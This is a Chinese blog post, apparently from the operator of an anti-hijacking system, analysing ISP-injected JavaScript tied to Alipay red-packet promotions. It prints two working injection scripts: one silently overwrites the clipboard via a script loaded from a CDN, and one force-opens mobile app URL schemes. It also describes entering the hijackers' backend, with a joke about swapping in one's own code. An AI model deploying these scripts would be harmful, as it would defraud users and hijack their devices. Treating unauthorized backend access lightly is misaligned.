反运营商劫持系统上线半年,期间分析过一些典型的劫持案例,由于最近支付宝红包相关的劫持事件越来越多,于是深入研究了下,发现不少有趣的网站。
整理了部分笔记,作为运营商劫持系列的第一篇文章蹭蹭热点。
拳打剪贴板
先看看比较简单的劫持代码:
(function(){
var h = document.getElementsByTagName('head')[0];
var a = document.createElement('script');
a.src = 'http://xxxx.b0.upaiyun.com/xxxx.js';
a.onload = function(){
document.body.insertAdjacentHTML("beforeEnd", '<div id="__btn_" style="position:absolute;filter:alpha(opacity=0);opacity:0;-moz-opacity:0;left:0;top:0;background:#CDEAF6;width:' + document.documentElement.clientWidth + 'px;height:' + document.documentElement.clientHeight + 'px;z-index:233333" data-clipboard-text="快来领取支付宝跨年红包!1月1日起还有机会额外获得专享红包哦!复制此消息,打开最新版支付宝就能领取!xxxxxxxx"></div>');
var btn = document.getElementById('__btn_');
var clipboard = new Clipboard(btn);
clipboard.on('success', function(e) {
var b = document.getElementById('__btn_');
b.parentNode.removeChild(b);
});
clipboard.on('error', function(e) {
var b = document.getElementById('__btn_');
b.parentNode.removeChild(b);
});
};
if (h) {
h.appendChild(a);
}
})();
这段代码的功能很明显是覆盖剪贴板内容为支付宝红包码。
值得注意的是,劫持的 JS 是托管在又拍云下的,一定程度上可以绕过某些检查机制。
比如刚开始我准备把各大 CDN 的子域名都加进白名单,后来发现不少恶意 JS 都放在 CDN 上。
还有些劫持链接类似 https://baidustatic.com.xxx.com/js/jquery.min.js
,检查域名后缀或字符串是否存在都是不靠谱的。
脚踢 Scheme
然后是一段高端点的劫持代码:
var schemas = ["alipays://platformapi/startapp?saId=10000007&qrcode=xxxxxx","baiduboxapp://utils?action=sendIntent¶ms=xxxx","iqiyi://mobile/home?ftype=xxxx","mogujie://open?url=https%3A%2F%2Fact.mogujie.com%2Fxxxxxx","sinaweibo://pageinfo?containerid=xxxxx"];
function openschema(index) {
var l = document.createElement("a");
l.href = schemas[index];
l.style.display = "none";
document.body.appendChild(l);
l.click();
document.removeEventListener("touchend", openschema, false);
setCookie("hasup"+index, "up", 1);
}
function setCookie(name, value, Days) {
if (Days == null || Days == '') {
Days = 1;
}
var exp = new Date();
exp.setTime(exp.getTime() + Days * 12 * 60 * 60 * 1000);
document.cookie = name + "=" + escape(value) + "; path=/;expires=" + exp.toGMTString();
}
function getCookie(name) {
var arr, reg = new RegExp("(^| )" + name + "=([^;]*)(;|$)");
if (arr = document.cookie.match(reg))
return unescape(arr[2]);
else
return null;
}
;
(function (a, d, b, e) {
if (/ios|ipad|iphone|itouch|android|linux/i.test(d.userAgent)) {
var round = Math.round(Math.random() * (schemas.length - 1));
foo(getCookie("hasup"+round), round);
}
function foo(val, index) {
if (val == null) {
if (/android|linux/i.test(d.userAgent)) {
try {
var c = b.createElement("iframe");
c.src = a[index];
c.style.display = "none";
b.body.appendChild(c);
b.addEventListener("touchend", openschema(index), false);
} catch (g) {}
} else {
try {
e.replace(a[index])
} catch (g) {
try {
e.href = a[index]
} catch (h) {}
}
setCookie("hasup" + index, "up", 1);
}
}
};
})(schemas, navigator, document, window.location);
直接调用手机 APP 的 URL Scheme
,达到的效果就是自动跳转到支付宝领红包,或是打开其他应用里的推广。
(说起来前不久的应用克隆漏洞用支付宝做演示,其中的一环也是利用 URL Scheme 接触到 File 域)
数据管理系统
在分析一个混淆后的 JS 劫持文件时发现了个神秘的网站:
进入后台,在库管理功能中有针对不同地区运营商的配置:
以某市移动为例:
其关键字实际为淘宝的口令:
而 custom 的配置里关键字很明显是支付宝红包码:
进一步研究发现,该劫持系统与多个劫持域名有关,单配置每日劫持量就有数百万。
其劫持代码可根据不同用户的后台配置作出不同的劫持行为,可谓非常先进了。
(如果把红包码换成自己的是不是能日入上万 XD)
最后,对于某些名曰流量优化实际上与运营商狼狈为奸的「互联网信息技术公司」表示遗憾。
老哥,你这后台说进就进啊
因为骚啊
在上面看到进入后台四个字,笑尿,看到你这个评论我直接笑喷
你好,我这里第二种劫持非常泛滥,有什么解决的办法吗
方法一:如果你有在用 ShadowRocket 之类的软件,找到劫持的域名,加到 Reject 规则里。
方法二:抓包,截图搜集证据,去工信部投诉。
emmm这后台ui还不错啊